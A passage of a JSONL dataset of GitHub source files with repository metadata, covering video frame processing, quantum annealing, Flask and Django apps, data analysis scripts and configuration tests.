and height\n    WIDTH, HEIGHT, LAYERS = image.shape\n    LENGTH_VIDEO = videoIn.get(cv.CAP_PROP_FRAME_COUNT) / videoIn.get(cv.CAP_PROP_FPS)\n\n    # python queue for multithreading\n    q = Queue()\n\n    print((\"Start processing with ... \\n\"\n          \"NUM_THREADS:  {} \\n\"\n          \"VIDEO_HEIGH:  {} \\n\"\n          \"VIDEO_WIDTH:  {} \\n\"\n          \"VIDEO_FPS:    {} \\n\"\n          \"VIDEO_LENGTH: {} \\n\"\n          \"N_FRAME:      {} \\n\"\n          \"OUTPUT_NAME:  {}\").format(NUM_THREADS, WIDTH, HEIGHT, FPS_VIDEO, LENGTH_VIDEO, N_FRAME, outputName))\n\n    # convert images in multiple threads\n    thread_list = []\n    for i in range(0, NUM_THREADS):\n        t = threading.Thread(target=process_frame_queue, args=(pathToArtWork, pathToXML,))\n        t.start()\n        thread_list.append(t)\n\n    # create separated folder where frames will be temporarily saved\n    if os.path.exists(\"frames\"):\n        call([\"rm\", \"-Rf\", \"frames\"])\n    call([\"mkdir\", \"frames\"])\n\n    path = os.getcwd() + \"/frames\"\n    success = True\n    count = 0\n\n    print(\"Starting saving frames from video and converting them with your ArtWork executable\")\n    # start timer and add data for multithreading\n    start = time.time()\n    while success:\n        name = \"frame%d.png\" % count\n        cv.imwrite(os.path.join(path, name), image)\n        # put work to queue for multithreading\n        if count % N_FRAME == 0:\n            q.put(os.path.join(path, name))\n        success, image = videoIn.read()\n        count += 1\n\n    q.join()\n    for t in thread_list:\n        t.join()\n    print(\"Finished converting ... \")\n    image_converting_time = time.time()-start\n    print(\"Processing time artworks-frames [frame->artwork]: {0:.3f}s\".format(image_converting_time))\n\n    # convert generated images into video (.avi)\n    # VIDEO CODEC CAN BE CHANGED HERE\n    # (check if codec is supported by your system)\n    # ********************************************\n    CODEC_fourcc = cv.VideoWriter_fourcc(*'MJPG')\n    # ********************************************\n    videoOut = cv.VideoWriter(outputName + \".avi\", CODEC_fourcc, FPS_VIDEO, (HEIGHT, WIDTH))\n\n    # reload video\n    videoIn.release()\n    videoIn = cv.VideoCapture(pathToVideo)\n    \n    count = 0\n    start = time.time()\n    while videoIn.isOpened():\n        ret, frame = videoIn.read()\n        if ret:\n            # load manipulated frame and write to video\n            frame = cv.imread(os.path.join(path, \"frame{}.png\".format(count)))\n            videoOut.write(frame)\n            count += 1\n        else:\n            break\n\n    video_converting_time = time.time()-start\n    print(\"Processing time artwork-video [frames->video]: {0:.3f}s\".format(video_converting_time))\n    final_runtime = video_converting_time + image_converting_time\n    print(\"Final runtime {}s for an ({}x{}) video running {}s\".format(final_runtime, WIDTH, HEIGHT, LENGTH_VIDEO))\n\n    # clean up, remove all created images\n    videoIn.release()\n    videoOut.release()\n    call([\"rm\", \"-Rf\", \"frames\"])\n","repo_name":"ckreisl/artwork-video","sub_path":"artworkvideo.py","file_name":"artworkvideo.py","file_ext":"py","file_size_in_byte":8066,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"18052764944","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport neal\nfrom dwave.system import DWaveSampler, EmbeddingComposite, LeapHybridSampler\n\nfrom helper_functions import (\n    Pi_functional,\n    create_bqm,\n    compute_a_min,\n    compute_all_J_tildes,\n    feasible_solution,\n)\nfrom graph import show_bqm_graph\nfrom basisfunctions import calculate_S\n\n\ndef simulated_sample(bqm, filter=False):\n    ready = False\n    while not ready:\n        sim_solver = neal.SimulatedAnnealingSampler()\n        sampleset = sim_solver.sample(bqm, num_reads=1000).aggregate()\n        if filter:\n            sampleset = sampleset.filter(feasible_solution)\n            if len(sampleset) > 0:\n                ready = True\n        else:\n            ready = True\n    return sampleset\n\n\ndef real_sample(bqm, filter=False):\n    real_solver = EmbeddingComposite(DWaveSampler())\n    return real_solver.sample(\n        bqm, num_reads=1000, annealing_time=100, return_embedding=True\n    ).aggregate()\n\ndef hybrid_sample(bqm, filter=False):\n    real_solver = LeapHybridSampler()\n    return real_solver.sample(\n        bqm, time_limit=5\n    ).aggregate()\n\n\nif __name__ == \"__main__\":\n    # N = None\n    # r_min = None\n    # S = None  # N by 5 array\n    # r = None\n    # u_c = None\n    N = 100\n    r_min = 0.002\n    r = 1\n    # S = np.array([[1, 1, -2, 0, 0]] * N)\n    u_c = np.array(np.linspace(0, 1, N + 1)) ** 0.7\n    S = calculate_S(N, p=1, q=0, f=0)  # S depends on the distance between the nodes\n\n    H = 1\n    J_hat = H  # set equal as in paper\n\n    # here we need to do the embedding and stuff\n    solver = None\n    # Pi_min = Pi_functional(S, u_c)\n\n    # box algorithm\n    while r > r_min:\n        J_tildes = compute_all_J_tildes(S, u_c, r)\n        bqm = create_bqm(H, J_hat, J_tildes, boundary_condition=\"D\", b_c_strength=1)\n        sampleset = simulated_sample(bqm, filter=False)\n\n        # solver.sample(bqm)  # adjust this to the solver!\n        a_min = compute_a_min(sampleset, u_c, r)\n        # new_Pi = Pi_functional(S, a_min)\n        if Pi_functional(S, a_min) < Pi_functional(S, u_c):\n            u_c = a_min\n        else:\n            r /= 2\n            # Pi_min = new_Pi\n\n    plt.plot(np.linspace(0, 1, N + 1), u_c)\n    plt.show()\n","repo_name":"benc2/anneal-diff-eq","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"27869158682","text":"class Solution:\n    def uniquePaths2(self, m: int, n: int) -> int:\n        def backtracking(j: int, k: int, rst: int):\n            if j == m - 1 and k == n - 1:\n                rst += 1\n                return rst\n            if j > m - 1 or k > n - 1:\n                return rst\n            return backtracking(j + 1, k, rst) + backtracking(j, k + 1, rst)\n\n        return backtracking(0, 0, 0)\n\n    def uniquePaths(self, m: int, n: int) -> int:\n        memo = {}\n\n        def path(j: int, k: int):\n            if j == 1 and k == 1:\n                return 1\n            if j < 1 or k < 1:\n                return 0\n            left = memo[(j - 1, k)] if memo.get((j - 1, k)) else path(j - 1, k)\n            up = memo[(j, k - 1)] if memo.get((j, k - 1)) else path(j, k - 1)\n            val = left + up\n            memo[(j, k)] = val\n            return val\n\n        return path(m, n)\n\n\nif __name__ == '__main__':\n    x = Solution().uniquePaths(300, 300)\n    print(x)\n","repo_name":"Li-Nina/leetcode","sub_path":"dogge/mediumCollection/uniquePaths.py","file_name":"uniquePaths.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"5349608380","text":"from config import APP_KEY\nfrom flask import Flask, render_template, request, redirect, url_for \nfrom flask.json import jsonify\n\nimport pandas as pd\n\nimport pymongo\nfrom bson.json_util import dumps\n\n# Retrieve info from this \nconn = 'mongodb://localhost:27017'\nclient = pymongo.MongoClient(conn)\n\napp = Flask(__name__) # the name of the file & the object (double usage)\n\n# List all routes that are available.\n\n# This api route takes in year\n# Returns: JSON object for that particular year \n# a) Street Address\n# b) Lat & Long info\n# c) Race_Color\n@app.route(\"/api/maps/<year>\")\ndef heat_maps(year):\n    print(\"In of heat maps section.\")\n    print('year', year)\n    ## - Retrieve from DB\n    db_DH = client.digitalHumanity_db\n    collection_string = \"censuses_\" + year\n    censuses_year_collection = db_DH[collection_string]\n    all_data = dumps(censuses_year_collection.find({\"Latitude\":{\"$ne\":None},\"Longitude\":{\"$ne\":None}},\n    {\"_id\":0,\"Street Address\":1,\"Latitude\":1, \"Longitude\":1, \"Race_Color\":1}))\n    \n    return all_data\n\n# This api route takes in race color like B or W & \n# Returns: JSON object for that particular race_color \n# a) All census years (for our case 1900, 1910, 1920)\n# b) All ages (infants to 65 +)\n@app.route(\"/api/censusyears_vs_ages/<race_color>\")\ndef censusyears_vs_ages(race_color):\n    print(\"In census years_vs_ages section.\")\n    print('year', race_color)\n    ## - Retrieve from DB\n    db_DH = client.digitalHumanity_db\n    census_years = [\"1900\",\"1910\",\"1920\"]\n    \n    counter = 0\n    for cy in census_years:\n        collection_string = \"censuses_\" + cy\n        censuses_year_collection = db_DH[collection_string]\n        \n        if(counter == 0):\n            all_data = dumps(censuses_year_collection.find({\"Race_Color\":race_color},\n            {\"_id\":0,\"Year\":1,\"Age\":1}))\n        else:\n            new_data = dumps(censuses_year_collection.find({\"Race_Color\":race_color},\n            {\"_id\":0,\"Year\":1,\"Age\":1}))\n            all_data = all_data + new_data\n        counter = counter + 1\n    return all_data\n\nif __name__ == \"__main__\":\n    app.run(debug=True)","repo_name":"trivial-vector/Digital-Humanities","sub_path":"Karika/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2097,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"70520243849","text":"from app import db\n\n\nclass Report(db.Model):\n\t__tablename__ = 'reports'\n\n\tid = db.Column(db.Integer, primary_key=True)\n\treport_result_id = db.Column(db.Integer, nullable=True)\n\tsymbol = db.Column(db.String(10), nullable=False)\n\ttx_from = db.Column(db.String(255), nullable=False)\n\ttx_to = db.Column(db.String(255), nullable=False)\n\tquantity = db.Column(db.Float(), nullable=False)\n\tdescription = db.Column(db.Text())\n\tfraud = db.Column(db.Integer(), nullable=False) # blacklist : 100\n\tcurious = db.Column(db.Integer(), nullable=False) # 0\n\tcreated_at = db.Column(db.DateTime,  default=db.func.current_timestamp())\n\tupdated_at = db.Column(db.DateTime,  default=db.func.current_timestamp(), onupdate=db.func.current_timestamp())\n\n\tdef __init__(self, symbol, tx_from, tx_to, quantity, description, fraud, curious):\n\t\tself.symbol = symbol\n\t\tself.tx_from = tx_from\n\t\tself.tx_to = tx_to\n\t\tself.quantity = quantity \n\t\tself.description = description\n\t\tself.fraud = fraud\n\t\tself.curious = curious\n\n\tdef serialize(self):\n\t\treturn {\n\t\t\t'id': self.id,\n\t\t\t'symbol': self.symbol,\n\t\t\t'tx_from': self.tx_from,\n\t\t\t'tx_to': self.tx_to,\n\t\t\t'quantity': self.quantity,\n\t\t\t'description': self.description,\n\t\t\t'fraud': self.fraud,\n\t\t\t'curious': self.curious\n\t\t}\n\n\tdef __repr__(self):\n\t\treturn '<Report %r, %r, %r, %r, %r, %r, %r, %r>' % (\n\t\t\t\tself.id,\n\t\t\t\tself.symbol,\n\t\t\t\tself.tx_from,\n\t\t\t\tself.tx_to,\n\t\t\t\tself.quantity,\n\t\t\t\tself.description,\n\t\t\t\tself.fraud,\n\t\t\t\tself.curious\n\t\t)\n\n\nclass ReportResult(db.Model):\n\t__tablename__ = 'report_results'\n\n\tid = db.Column(db.Integer, primary_key=True)\n\ttx_to = db.Column(db.String(255), nullable=False)\n\ttotal_fraud = db.Column(db.Integer(), nullable=False)\n\ttotal_curious = db.Column(db.Integer(), nullable=False)\n\tcreated_at = db.Column(db.DateTime,  default=db.func.current_timestamp())\n\tupdated_at = db.Column(db.DateTime,  default=db.func.current_timestamp(), onupdate=db.func.current_timestamp())\n\n\tdef __init__(self, tx_to, total_fraud, total_curious):\n\t\tself.tx_to = tx_to\n\t\tself.total_fraud = total_fraud\n\t\tself.total_curious = total_curious\n\n\tdef serialize(self):\n\t\treturn {\n\t\t\t'tx_to': self.tx_to,\n\t\t\t'total_fraud': self.total_fraud,\n\t\t\t'total_curious': self.total_curious\n\t\t}\n\n\tdef __repr__(self):\n\t\treturn '<ReportResult %r, %r, %r>' % (\n\t\t\t\tself.tx_to,\n\t\t\t\tself.total_fraud,\n\t\t\t\tself.total_curious\n\t\t)\n\n","repo_name":"DeactivatedWhatSoever/addsec","sub_path":"app/report/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28173255113","text":"from pyspark import SparkConf, SparkContext\nfrom pyspark.sql import SQLContext\n\nconf = SparkConf()\nsc = SparkContext(conf=conf)\nsqlContext = SQLContext(sc)\n\ndf = sqlContext.read.json(\"/user/cloudera/spark/employees_by_dept.json\")\n\ndf2 = sqlContext.read.json(\"/user/cloudera/spark/departments.json\")\n\ndf.show()\n\ndf2.show()\n\ndf.join(df2,df.id_dept==df2.id). \\\n        select(df2.name, df.salary). \\\n        groupBy(df2.name). \\\n        avg('salary'). \\\n        show()\n","repo_name":"xuezhizeng/CCA175-Exam-Preparation","sub_path":"03-Data Analysis/04-Joins/dataframe-api-join-json-files.py","file_name":"dataframe-api-join-json-files.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"16"}
+{"seq_id":"74860427849","text":"#!/usr/bin/env python3\n\n\"\"\"\nImplement an HTTP web server in Python that knows how to run server-side\nCGI scripts coded in Python; serves files and scripts from current working\ndir; Python scripts must be stored in webdir\\cgi-bin or webdir\\htbin;\n\"\"\"\n\nimport os, sys\nfrom http.server import HTTPServer, CGIHTTPRequestHandler\n\nwebdir = '.'\nport = 8080\n\nos.chdir(webdir)\nsrvraddr = (\"\", port)\nsrvobj = HTTPServer(srvraddr, CGIHTTPRequestHandler)\nsrvobj.serve_forever()\n","repo_name":"debsir/Learning","sub_path":"python/PP4E/Preview/webserver.py","file_name":"webserver.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21072074842","text":"import sys\nimport os\nimport json\nimport csv\nfrom tqdm import tqdm\n\nfrom utils.lexical_metrics import get_base_metrics\nfrom utils.sentiment import get_vader_sentiment_scores\nfrom utils.responsivity import init_spacy, init_sentence_encoder, responsivity_metrics\n\n\nMETRIC_NAMES = [\"Conversation ID\", \"Words per hour\", \"Speech per turn\",\n                \"Mean inter-speaker silence\", \"Turn taking balance\",\n                \"Interruption rate\", \"Grade level\",\n                \"MATTR lexical diversity\", \"Mean word length\",\n                \"VADER sentiment\", \"Responsivity rate\"]\n\nnlp = init_spacy()\nencoder = init_sentence_encoder()\n\n\ndef get_metric_values_list(snippets):\n    base_metrics = get_base_metrics(snippets)\n    base_metric_vals = [x[1] for x in base_metrics]\n\n    vader_sentiment = get_vader_sentiment_scores(snippets)\n    avg_vader_sentiment = sum([x[1] for x in vader_sentiment])/len(vader_sentiment)\n\n    _, _, response_speaker_turns = responsivity_metrics(snippets, nlp, encoder)\n    responsivity_rate = len(response_speaker_turns)/len(snippets)\n\n    return base_metric_vals + [round(avg_vader_sentiment, 3)] + [round(responsivity_rate,3)]\n\nif __name__ == '__main__':\n    json_dir = sys.argv[1]\n    csv_save_file = sys.argv[2]\n\n    with open(csv_save_file, 'w', newline='') as csvfile:\n        csv_writer = csv.writer(csvfile, delimiter='\\t')\n        csv_writer.writerow(METRIC_NAMES)\n\n        for json_file in tqdm(sorted(os.listdir(json_dir), key=lambda x: int(x[:-5]))):\n            with open(os.path.join(json_dir, json_file), 'r') as f:\n                snippets = json.load(f)\n            f.close()\n\n            metric_vals = get_metric_values_list(snippets)\n            csv_writer.writerow([json_file[:-5]]+metric_vals)\n","repo_name":"wonjune-kang/conversation-quality","sub_path":"extract_metrics.py","file_name":"extract_metrics.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71195827528","text":"import tensorflow as tf\nimport tensorflow_probability as tfp\nimport matplotlib.pyplot as plt\n\ndef encoder(input_shape):\n\tx = inputs = tf.keras.Input(input_shape)\n\tx = tf.keras.layers.Flatten()(x)\n\tencoded_size = x.shape[-1]\n\tstd = tf.ones_like(x,dtype=tf.float32)*1e0\n\tx = tf.keras.layers.concatenate([x,std],axis=-1)\n\t# x = tf.keras.layers.Lambda(lambda x: tf.stack([x,tf.ones_like(x)*1e-7],2))(x)\n\t# x = tf.keras.layers.Reshape(target_shape=(2*encoded_size,))(x)\n\tx = tfp.layers.IndependentNormal(input_shape)(x)\n\treturn tf.keras.Model(inputs=inputs,outputs=x)\n\nhgt,wdt,n_ch = 24,24,1\nenc = encoder((hgt,wdt,n_ch))\nenc.summary()\n\ndef decoder(input_shape):\n\tx = inputs = tf.keras.Input(input_shape)\n\tx = tf.keras.layers.Reshape(target_shape=(24,24,1))(x)\n\treturn tf.keras.Model(inputs=inputs,outputs=x)\n\ndec = decoder((hgt*wdt*n_ch))\n\nG_A2B = tf.keras.Sequential()\nG_A2B.add(enc)\n#G_A2B.add(dec)\n\nA_sc = 1e1\nA_zero_horiz = tf.zeros((1,hgt//3,wdt,1),dtype=tf.float32)\nA_zero = tf.zeros((1,hgt//3,wdt//3,1),dtype=tf.float32)\nA_one = tf.ones((1,hgt//3,wdt//3,1),dtype=tf.float32)*3*A_sc/4\nA_aux = tf.concat([A_zero,A_one,A_zero],axis=2)\nA = tf.concat([A_zero_horiz,A_aux,A_zero_horiz],axis=1)\nB = G_A2B(A)\n\nprint('A shape:',A.shape)\nprint('B shape:',B.shape)\n\nfig, axs = plt.subplots(figsize=(6, 3), nrows=1, ncols=2)\nA_plt = axs[0].imshow(tf.squeeze(A), cmap='twilight', vmin=-A_sc, vmax=A_sc)\nfig.colorbar(A_plt, ax=axs[0])\naxs[0].axis('off')\nB_plt = axs[1].imshow(tf.squeeze(B), cmap='twilight', vmin=-A_sc, vmax=A_sc)\nfig.colorbar(B_plt, ax=axs[1])\naxs[1].axis('off')\nplt.show()","repo_name":"jpmeneses/IDEAL-GAN","sub_path":"flatten-test.py","file_name":"flatten-test.py","file_ext":"py","file_size_in_byte":1580,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"35138082149","text":"import seaborn as sns\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom radar import make_radar\n\ndef organize_playdata():\n    \"\"\"\n    Organizes defensive play-type data from 2015-16.\n    \n    Returns:\n        plays (dict): dict of individual play-type DataFrames\n            key-vals are {play-type (str): data (pd.DataFrame)}\n        all_data (pd.DataFrame): DataFrame of all play-types joined on player name\n        ave_ppp (dict): Dict of {play-type: average_ppp}\n            Example key:val {'handoff': 0.870}\n    \"\"\"\n\n    # Read individual play types into Pandas DataFrame\n    handoff = pd.read_csv('../data/handoff.csv')\n    offscreen = pd.read_csv('../data/offscreen.csv')\n    postup = pd.read_csv('../data/postup.csv')\n    prrm = pd.read_csv('../data/prrm.csv')\n    isolation = pd.read_csv('../data/isolation.csv')\n    prbh = pd.read_csv('../data/prbh.csv')\n    spotup = pd.read_csv('../data/spotup.csv')\n    \n    # Get all DataFrames into dict\n    plays = {'handoff': handoff, \n             'offscreen': offscreen, \n             'postup': postup, \n             'prrm': prrm, \n             'isolation': isolation, \n             'prbh': prbh, \n             'spotup': spotup}\n    \n    # Get average PPP for each play\n    ave_ppp = {}\n    for play in plays:\n        ave_ppp[play] = get_ave_ppp(plays[play])\n        \n    # Add \"Competency\" to DataFrame\n    # A player is \"Competent\" to defend a play if they have\n    # defended it more than 25 times and keep it below league ave\n    def add_competency(df, play):\n        df['COMPETENT' + play] = (df.PPP < ave_ppp[play]) & (df.POSS > 25)\n        return df\n        \n    for play in plays:\n        plays[play] = add_competency(plays[play], play)\n        plays[play]['PPP' + play] = plays[play]['PPP']\n        \n    ##########################\n    #### BEGIN MERGE HELL ####\n    ##########################\n    \n    joined1 = pd.merge(isolation, postup, on='PLAYER', how='outer')\n    joined2 = pd.merge(joined1, spotup, on='PLAYER', how='outer')\n    joined3 = pd.merge(joined2, handoff, on='PLAYER', how='outer')\n    joined4 = pd.merge(joined3, prrm, on='PLAYER', how='outer')\n    joined5 = pd.merge(joined4, prbh, on='PLAYER', how='outer')\n    joined = pd.merge(joined5, offscreen, on='PLAYER', how='outer')\n    all_data = joined.fillna(0)\n    \n    # Count total number of plays each player is competent to defend\n    all_data['TOTAL COMPETENT'] = all_data['COMPETENTspotup'] + \\\n                                  all_data['COMPETENThandoff'] + \\\n                                  all_data['COMPETENToffscreen'] + \\\n                                  all_data['COMPETENTpostup'] + \\\n                                  all_data['COMPETENTprbh'] + \\\n                                  all_data['COMPETENTprrm'] + \\\n                                  all_data['COMPETENTisolation']\n    \n    return (plays, all_data, ave_ppp)\n\ndef get_ave_ppp(df):\n    # Calculates Average PPP\n    return (df.PPP * df.POSS).sum() / df.POSS.sum()\n             \ndef prelim_plots(plays_dict, all_data):\n    \"\"\"\n    Some preliminary plots\n    \n    - How many possessions did each player have of each play type?\n    - How much noise is there when a player has few possessions?\n    - How many players are competent at 1 play type? 6 play types? etc.\n    \"\"\"\n    plt.figure(figsize=(5,20))\n    plt.subplots_adjust(hspace=0.75)\n    for index, play in enumerate(plays):\n        subplotnum = int('71' + str(index + 1))\n        plt.subplot(subplotnum)\n        plt.hist(plays[play]['POSS'], bins=30)\n        plt.title(play)\n        plt.ylabel('Number of players')\n        plt.xlabel('Total Possessions')\n    plt.show()\n    \n    plt.figure(figsize=(5,20))\n    plt.subplots_adjust(hspace=0.75)\n    for index, play in enumerate(plays):\n        subplotnum = int('71' + str(index + 1))\n        plt.subplot(subplotnum)\n        plt.scatter(plays[play]['POSS'], plays[play]['PPP'])\n        plt.title(play)\n        plt.ylabel('Numer of Possessions')\n        plt.xlabel('Average Points Per Possession')\n    plt.show()\n\n    plt.figure()\n    competency_count = all_data.groupby('TOTAL COMPETENT').count()['PLAYER']\n    sns.barplot(x=list(range(7)), y=list(competency_count), color='grey') \n    plt.ylabel('Number of Players')\n    plt.xlabel('Number of Play-Types Defendable')\n    plt.show()\n\n\ndef prelim_questions(plays_dict, all_data):\n    \"\"\"\n    Scratch work for prelim questions.\n    \n    - Which players can defend 6 play-types?\n    \"\"\"\n    elite_defenders = all_data[all_data['TOTAL COMPETENT'] == 6]['PLAYER']\n    print('Defenders who can defend six play-types:')\n    print(elite_defenders)\n\n\ndef make_player_barplot(player_name, plays_dict, ave_dict):  \n    \"\"\"\n    Makes bar plot of how well a player can defend each play-type\n    \"\"\"\n    league_ave = []\n    for index, play in enumerate(ave_dict.keys()):\n        league_ave.append(ave_dict[play])\n    x = []\n    y = []\n    for play in plays_dict:\n        df = plays_dict[play]\n        df = df[df['PLAYER'] == player_name]\n        y.append(float( df['PPP'] - ave_dict[play]))\n        x.append(play)\n    sns.barplot(x=x, y=y, color='grey')\n    plt.ylabel('Points per possession (relative to league ave)')\n    plt.title(player_name)\n\nif __name__ == '__main__':\n    # Organize Data\n    plays, all_data, ave_ppp = organize_playdata()\n    \n    ##########################\n    ### Some example plots ###\n    ##########################\n    \n    #prelim_questions(plays, all_data)\n    #make_player_barplot('Klay Thompson', plays, ave_ppp)\n    #make_radar('Damian Lillard', all_data, ave_ppp)\n    #make_radar('Mason Plumlee', all_data, ave_ppp)\n    #prelim_plots(plays, all_data)\n","repo_name":"pointstoplots/chris-analysis","sub_path":"scripts/explore.py","file_name":"explore.py","file_ext":"py","file_size_in_byte":5636,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"38801264973","text":"\"\"\"\nThis is to test if MWAXSubfileDistributor correctly reads the tonnes of\nconfig correctly from a \"beamformer\" config file.\n\"\"\"\nimport os\nfrom mwax_mover.mwax_subfile_distributor import MWAXSubfileDistributor\n\nTEST_BASE_PATH = \"tests/mock_mwax_bf\"\nTEST_CONFIG_FILE = \"tests/mwax_subfile_distributor_beamformer_test.cfg\"\nTEST_BEAMFORMER_SETTINGS_FILE = \"tests/beamformer_settings.txt\"\n\n\ndef get_base_path() -> str:\n    \"\"\"Utility function to get the base path for these tests\"\"\"\n    return os.path.join(os.getcwd(), TEST_BASE_PATH)\n\n\ndef check_and_make_dir(path):\n    \"\"\"If dir does not exist, make it\"\"\"\n    if not os.path.exists(path):\n        print(f\"{path} not found. Creating {path}\")\n        os.mkdir(path)\n\n\ndef setup_test_dirs():\n    \"\"\"Gets the test dirs ready\"\"\"\n    # Setup dirs first!\n    # Make the base dir\n    base_dir = get_base_path()\n    check_and_make_dir(base_dir)\n\n    # log path\n    log_path = os.path.join(base_dir, \"logs\")\n    check_and_make_dir(log_path)\n\n    # subfile_incoming_path\n    subfile_incoming_path = os.path.join(base_dir, \"dev_shm\")\n    check_and_make_dir(subfile_incoming_path)\n\n    # voltdata_incoming_path\n    voltdata_incoming_path = os.path.join(base_dir, \"voltdata_incoming\")\n    check_and_make_dir(voltdata_incoming_path)\n\n    # voltdata_outgoing_path\n    voltdata_outgoing_path = os.path.join(base_dir, \"voltdata_outgoing\")\n    check_and_make_dir(voltdata_outgoing_path)\n\n    # voltdata_dont_archive_path\n    voltdata_dont_archive_path = os.path.join(\n        base_dir, \"voltdata_dont_archive\"\n    )\n    check_and_make_dir(voltdata_dont_archive_path)\n\n    # fil_outgoing_path\n    fildata_path = os.path.join(base_dir, \"fildata_path\")\n    check_and_make_dir(fildata_path)\n\n\ndef test_beamformer_config_file():\n    \"\"\"Tests that SubfileDistributor reads a beamformer config file ok\"\"\"\n    # Setup all the paths\n    setup_test_dirs()\n\n    # This will test mwax_subfile_distributor based\n    # on correlator_test.cfg\n    base_dir = TEST_BASE_PATH\n\n    # Start mwax_subfile_distributor using our test config\n    msd = MWAXSubfileDistributor()\n\n    # Override the hostname\n    msd.hostname = \"test_server\"\n\n    # Call to read config <-- this is what we're testing!\n    msd.initialise(TEST_CONFIG_FILE)\n\n    #\n    # Now confirm the params all match the config file\n    #\n\n    # mwax_mover section\n    assert msd.cfg_log_path == os.path.join(base_dir, \"logs\")\n    assert msd.cfg_webserver_port == \"9998\"\n    assert msd.cfg_health_multicast_interface_name == \"eth0\"\n    assert msd.cfg_health_multicast_ip == \"224.234.0.0\"\n    assert msd.cfg_health_multicast_port == 8666\n    assert msd.cfg_health_multicast_hops == 1\n    assert msd.cfg_subfile_incoming_path == os.path.join(base_dir, \"dev_shm\")\n    assert msd.cfg_voltdata_incoming_path == os.path.join(\n        base_dir, \"voltdata_incoming\"\n    )\n    assert msd.cfg_voltdata_outgoing_path == os.path.join(\n        base_dir, \"voltdata_outgoing\"\n    )\n    assert msd.cfg_voltdata_dont_archive_path == os.path.join(\n        base_dir, \"voltdata_dont_archive\"\n    )\n    assert msd.cfg_always_keep_subfiles == 0\n    assert msd.cfg_archive_command_timeout_sec == 300\n    assert msd.cfg_psrdada_timeout_sec == 32\n    assert msd.cfg_copy_subfile_to_disk_timeout_sec == 120\n    assert msd.cfg_archiving_enabled == 0\n\n    # beamformer section\n    assert msd.cfg_bf_ringbuffer_key == \"0x1234\"\n    assert msd.cfg_bf_fildata_path == os.path.join(base_dir, \"fildata_path\")\n    assert msd.cfg_bf_settings_path == TEST_BEAMFORMER_SETTINGS_FILE\n\n    # test_server section\n    assert (\n        msd.cfg_bf_archive_destination_host\n        == \"host2.destination.com://dest/path\"\n    )\n    assert msd.cfg_bf_archive_destination_port == \"1094\"\n    assert (\n        msd.cfg_bf_archive_destination_enabled is False\n    )  # this is due to archiving enabled=0\n    assert msd.cfg_bf_numa_node == -1\n    assert msd.cfg_bf_archive_command_numa_node == -1\n","repo_name":"MWATelescope/mwax_mover","sub_path":"tests/mwax_subfile_distributor_beamformer_test.py","file_name":"mwax_subfile_distributor_beamformer_test.py","file_ext":"py","file_size_in_byte":3914,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"14319959553","text":"\n# count triplet such that i<j<k l[i]>l[j]>l[k]\ndef left_maximum(l,m):\n\tcount=0\n\tfor i in range(len(l)):\n\t\tif l[i]>m:\n\t\t\tcount+=1\n\treturn count\n\t\ndef right_minimum(l,m):\n\tcount=0\n\tfor i in range(len(l)):\n\t\tif l[i]<m:\n\t\t\tcount+=1\n\treturn count\n\n\n\ndef triplet(l):\n\tres=0\n\tfor j in range(len(l)):\n\t\tres+=(left_maximum(l[:j],l[j])*right_minimum(l[j+1::],l[j]))\n\treturn res\n\t\nl=eval(input(\"enter list:-\"))\nprint(triplet(l))\n\t\t\n\t\t\n\t\t\n\t","repo_name":"Sur818/Coding-Projects","sub_path":"python programming/count triplet 1.py","file_name":"count triplet 1.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"53526806386","text":"from django.contrib import admin\nfrom django.contrib.auth.admin import UserAdmin\n\nfrom .models import User\n\n\nclass UserAdminCustom(UserAdmin):\n    fieldsets = (\n        (None, {'fields': ('email', 'password')}),\n        ('Персональная информация', {\n            'fields': ('first_name', 'last_name', 'bio',)\n        }),\n        ('Права', {\n            'fields': (\n                'is_active',\n                'is_staff',\n                'is_superuser',\n                'role',\n                'groups',\n                'user_permissions',\n            )\n        }),\n        ('Важные даты', {'fields': ('last_login', 'date_joined')}),\n    )\n\n    add_fieldsets = (\n        (None, {\n            'classes': ('wide',),\n            'fields': ('email', 'password1', 'password2'),\n        }),\n    )\n\n    list_display = (\n        'username',\n        'email',\n        'first_name',\n        'last_name',\n        'is_staff',\n        'role',\n        'id',\n    )\n    list_editable = (\n        'role',\n    )\n    search_fields = (\n        'email',\n        'first_name',\n        'last_name',\n        'username',\n    )\n    ordering = ('email', 'first_name', '-id', 'last_name', 'username',)\n\n\nadmin.site.register(User, UserAdminCustom)\n","repo_name":"DmitriyMikhalev/api_yamdb","sub_path":"api_yamdb/users/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
